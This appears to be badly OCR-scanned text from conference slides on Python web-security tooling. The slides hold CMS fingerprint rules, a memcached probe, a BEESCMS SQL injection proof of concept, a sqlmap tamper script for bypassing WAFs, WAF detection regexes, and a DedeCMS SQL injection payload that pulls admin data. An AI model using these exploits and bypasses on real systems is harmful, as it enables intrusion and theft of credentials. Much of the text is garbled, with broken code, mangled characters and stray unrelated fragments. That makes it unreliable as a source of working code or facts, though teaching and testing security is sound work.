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match pattern options

JUE

Wek

kevs

Wek [cms

Wit

Wil
Wil
Wil
Wil
Wir.
Wiz
Wor
Wox
Wox
Wor
Wor
Wor
Wor
Wor
Wor
Wor
Wor

Wor

Tnems
EZCMZ
twems
kesionCMs
CMSTop
ESPCME
Tdems
FhpCM3
CMsSeasy
DedeCHMs
ASPCME
A0S
# EEnpireCHs
JEECMS
IdeaCMs
TCCMS
sdcms
1024cms
ABO_CMS
Acidcat _CM3
Kooboocms

unknown_cms

Unknowr_Cms_rems

EleancrCMs
BPanelCMS

header="¥-Tncms-Version”
body="Powered by EZCMS” || body="BZCMS Content Management System”

body="/twems/theme/” &k body="/css/global. cas”

body="/ks_inc/commen. js” || body="publish by KesionCMs"

body="/css/cmstop-commor. css” || body="/js/cmstop-common. js” || body="cmstop-list-text.css” |
title="Powered by ESPCMS” || body="Powered by ESPCMS” || (body="infolist fff” &b body="/temp]
body="content="74cms. com” || body="content="%1CM5" || body="Fowered by <a href="http:/ wwm
(body="Powered by” & body="http://www. phpcms. en”) || body="content="Phpens" || body="Powerec
title="Powered by CmsBasy” || header="http://www. cmseasy. cr/service_l. html” || body="centent:
body="Power by Dedetms” || (body="Powered by” &k body="http://wmm. dedecms. com/” & body="Dede
title="Powered by ASPCMS” || body="content="4SPCM5” || body="/inc/AspCns_Adv]s. asp”
body="Publish By JCms2010"

title="Powered by EmpireCMs”

title="Powered by JEECMS” || (body="Powered by” && body="http://wew. jeecms. con” && body="JEEC
body="Powered By IdeaCMs” || body="m_ctr3z”

title="Power By TCCMS” ||
title="powered by sdems” || (body="var webroot=" &k body="/js/sdcms. js)
body="Powered by 1024 CMS” || body="generator” content="1024 cMS (c)}”
header="a-powered-by”

body="5Start Acidcat CMS footer information

header="Kooboocms"

(body="1index. php?ac=1link_more” &% body="1indez. php?ac=rews_list™}

"

|| body="Powered by Acidcat CM5”

header="Requestsuccessiajax”
body="r/cms/www” &% header="clientlanguage”
header="Eleanor CM3”

header="¥-Powered-Cms: BPanel CMS”
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POCTfI-memcachedRiZtihIa

ports [ .
port ports:

s---socket.socket (socket.AF INET, - socket.SOCK_STREAM)
.connect((hostname, -port))
.:Hni{;”:+a+' ")
info S.recy '[ }
b"STAT -version™ info:

ception ex:
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POC=<fll-beescms 3.3 SQL;F A\

target url *fcelive/live/header.php’

I

payload 1
"xXajax': 'LiveMESSage'JI

'xajaxargs[@][name]":-"1",{SELECT-1-FROM- (select- count(*), concat("\ I E - N ﬁ
-Flﬂurﬂrandgﬂj*.ﬂ (select -md5(614)))a-from- "\ E' iJ\

"information_schema.tables-group-by-a)b),™\
I'll-ll'|}ll} 1 1£_||ﬂ91 2.:} #II

b RitREEEImd5E

response requests.post(target,payload)

'851ddf5858cf22d¥63d3344ad89919c+" str(response.content):
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ID: 1605605781038-b1f4b2111b07a553-19465
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"{DR|ﬂND](K5+?}.+?=[EEEEKKE?]{R5+?}[‘“__‘32?]$
'DH|ﬂND'{\:+?} +2=(\s+2) [\x22\x27]$"
[H <22\x27]1) 2(\s+?)--(\s+?) ([\x22\x27]) "
IR “2‘f2?]**[1 22\x27]\s (AND |OR) \s . +?=[\x22\x27 ] [\x22\x27]"
"\ x3bDROP™
"((\x27) | (\x22) )\*((\x27) | (\x22))"
"#.+?WHERE . +?SELECT"
Yoo [ Ax22\x27]"
"%27%20" , "\ \E|\E\/", " 28"
“Rw*{{xmz?jltx D) (\s?)((\%6F) | (\%4F)) ((\%72) | (\%52))"
"W (\%27) | (\* D)) (\s?) (\%6F) |o]| (\%4F) ) ((\%72) | r] (\%52))"
"\w*( (\%6F) | (\%4F)) ((\%72) | (\%52)) (\s?)((\%27) | (\" )"
"o+ (\&2A) . +2E"
".+?(@x3(alA)).+2%"

" .+?information_schema.+?$"

g 5020



it WAF 2% @{:hofx Ef‘ Goodd ‘




WAF 1551 @tﬁm o Goooé‘

ZEXIEEHTTPIER, Sthin
Re,

AE—EEESHTTPIEX, X
FIERZM—1WAF,

>
>




WAF bypass o Tor Goodl

PyCon China2020 | PYTHON HFEFAFXE 2020

LAZz 235730 :

| 192.168.235.133/test.php?id=1 X
SRR X

&« C G A== 192.168.142.130:82/Less-1/index.php?id=-1%27%20u

fid: 1

Welcome
Your Login name:2
Your Password:3
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https://github.com/sqlmapproject/sqlmap
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T2 EIN:

7 sqlmap BRI UNION EifiE N AT R ES RIZRAYFIEL, ek
EFIA ORDER BY FifiiE. MSRORDER BY iEAIARINNIE YT UNION &=
IEARER. FRLAGISREER UNION SEifliEA tamper %75%) ORDER BY i#17

tes 1’111" ' l—'Iu—'ll : [INIC III query UOLL) - 1 to 10 columns

! 5- 1—— WIITF
. BY 1-- ADfV
E'l == Fn—-uT

~1c TNION query '::1":511'11:1!:|m mumber) - 1 to 10 columns’ Lot

~ic TNION que '::I"TULL_:' - 11 to 20 colums’ because T.

~ic INION que andom number ) A 3
Generic UNION query (MNULL) - 21 to 30 columns

1 ' Generic NION query (random number) — 21 to 30 ; 15’
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dZ£rYtamper:

lib.core.enums PRIORITY

__priority  -=-PRIORITY.LOW

def -dependencies():

def -tamper(payload, kwargs) :
sign "/E1I5123A9* )"
retVal payload
1 [ "UNION', - "ORDER","' ', 'super_priv']
data 11
i 1:
data[1i] i sign
i data.keys():
retVal-=-retVal.replace(i, -data[i])

retVal retVal.replace("CURRENT USER()", - "CURRENT USER" sign "))
retVal-=-retVal.replace("AND-", "AND%23%0a-")
retVal
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SQLMapHJtamperl{£E:

https://github.com/LxiaoGirl/sqlmapTamper

Bzl Bypass fE38:
https://github.com/hayasec/bypass waf
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Windows

! Feet to Meters - O X

f

is equivalent to  0.3048 meters

Calculate

macOS
Feet to Meters

Linux P feet

is equivalentto 0.3048 meters
Feet to Meters

B feet

is equivalentto 03048 meters

Calculate

Calculate
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» =B AEREZEIEL v0.1 Beta
IZEN =E

URL: https://f

Bix: https://7 7 __

SHEELL jquery | GZIP encode | Apache | DedeCMS

CMSias: DedeCMS

WAFRS: =219

REER FERE

1. SQUEANRSE

TOEHSSE: https:// ~  /plus/recommend.php

Payload:
aid=18_FILES[type][tmp_name]=\9627%20%200r%20mid=@%60\%627%60%20/*50000union*/
/*150000select*/1,2,3,%28selectI620% :

@_ admin%60%20limit+0,1%29,5,6,

& _FILES[type]ltype]=application/octet-stream&_FILES[type][size]=111
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